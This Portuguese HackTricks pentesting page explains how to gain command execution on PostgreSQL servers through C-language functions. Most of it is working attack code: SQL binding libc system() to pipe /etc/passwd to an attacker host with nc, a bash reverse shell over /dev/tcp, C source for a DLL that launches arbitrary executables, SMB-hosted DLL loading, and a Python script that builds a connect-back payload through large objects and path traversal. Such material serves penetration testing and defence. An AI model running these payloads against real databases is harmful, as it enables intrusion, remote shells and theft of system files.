Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo a integração perfeita de extensões como se fossem funcionalidades nativas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais.
A partir da versão 8.1, é imposto um requisito específico às bibliotecas de extensão: elas devem ser compiladas com um cabeçalho especial. Sem isso, o PostgreSQL não as executará, garantindo que apenas extensões compatíveis e potencialmente seguras sejam utilizadas.
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo claramente documentado e direto. É possível utilizar este: módulo Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Escrever arquivo binário a partir de base64
Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
No entanto, ao ser tentado em versões superiores, o seguinte erro foi exibido:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Desde a versão 8.2 do PostgreSQL, o processo para um atacante explorar o sistema foi tornando-se mais desafiador. O atacante precisa utilizar uma biblioteca que já está presente no sistema ou fazer upload de uma biblioteca personalizada. Esta biblioteca personalizada deve ser compilada contra a versão principal compatível do PostgreSQL e deve incluir um "bloco mágico" específico. Essa medida aumenta significativamente a dificuldade de explorar sistemas PostgreSQL, pois exige um entendimento mais profundo da arquitetura do sistema e da compatibilidade de versão.
Compilar a biblioteca
Obtenha a versão do PostgreSQL com:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Para compatibilidade, é essencial que as principais versões estejam alinhadas. Portanto, compilar uma biblioteca com qualquer versão dentro da série 9.6.x deve garantir uma integração bem-sucedida.
Em seguida, faça o upload da biblioteca compilada e execute comandos usando:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Pode encontrar esta biblioteca pré-compilada para várias versões diferentes do PostgreSQL e até pode automatizar este processo (se tiver acesso ao PostgreSQL) com:
A seguinte DLL recebe como entrada o nome do binário e o número de vezes que deseja executá-lo e o executa:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Pode encontrar a DLL compilada neste zip:
Pode indicar a esta DLL qual binário executar e o número de vezes a executá-lo, neste exemplo ele executará calc.exe 2 vezes:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Observe como, neste caso, o código malicioso está dentro da função DllMain. Isso significa que, neste caso, não é necessário executar a função carregada no postgresql, apenas carregar a DLL irá executar o shell reverso:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE nas versões mais recentes do PostgreSQL
Nas últimas versões do PostgreSQL, foram impostas restrições onde o superusuário é proibido de carregar arquivos de biblioteca compartilhada, exceto de diretórios específicos, como C:\Program Files\PostgreSQL\11\lib no Windows ou /var/lib/postgresql/11/lib em sistemas *nix. Esses diretórios são protegidos contra operações de escrita pelos usuários NETWORK_SERVICE ou postgres.
Apesar dessas restrições, é possível para um superusuário autenticado no banco de dados escrever arquivos binários no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório C:\Program Files\PostgreSQL\11\data, que é essencial para operações de banco de dados como atualização ou criação de tabelas.
Uma vulnerabilidade significativa surge do comando CREATE FUNCTION, que permite a travessia de diretórios para o diretório de dados. Consequentemente, um atacante autenticado poderia explorar essa travessia para escrever um arquivo de biblioteca compartilhada no diretório de dados e então carregá-lo. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
Fluxo de ataque
Primeiramente, você precisa usar objetos grandes para fazer upload do dll. Você pode ver como fazer isso aqui:
Uma vez que você tenha carregado a extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Nota que não é necessário adicionar a extensão .dll, pois a função create irá adicioná-la.
Para mais informações, leia apublicação original aqui.
Naquela publicação, este foi ocódigo usado para gerar a extensão do postgres (para aprender como compilar uma extensão do postgres, leia qualquer uma das versões anteriores).
Na mesma página, este exploit para automatizar essa técnica foi fornecido:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")
Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!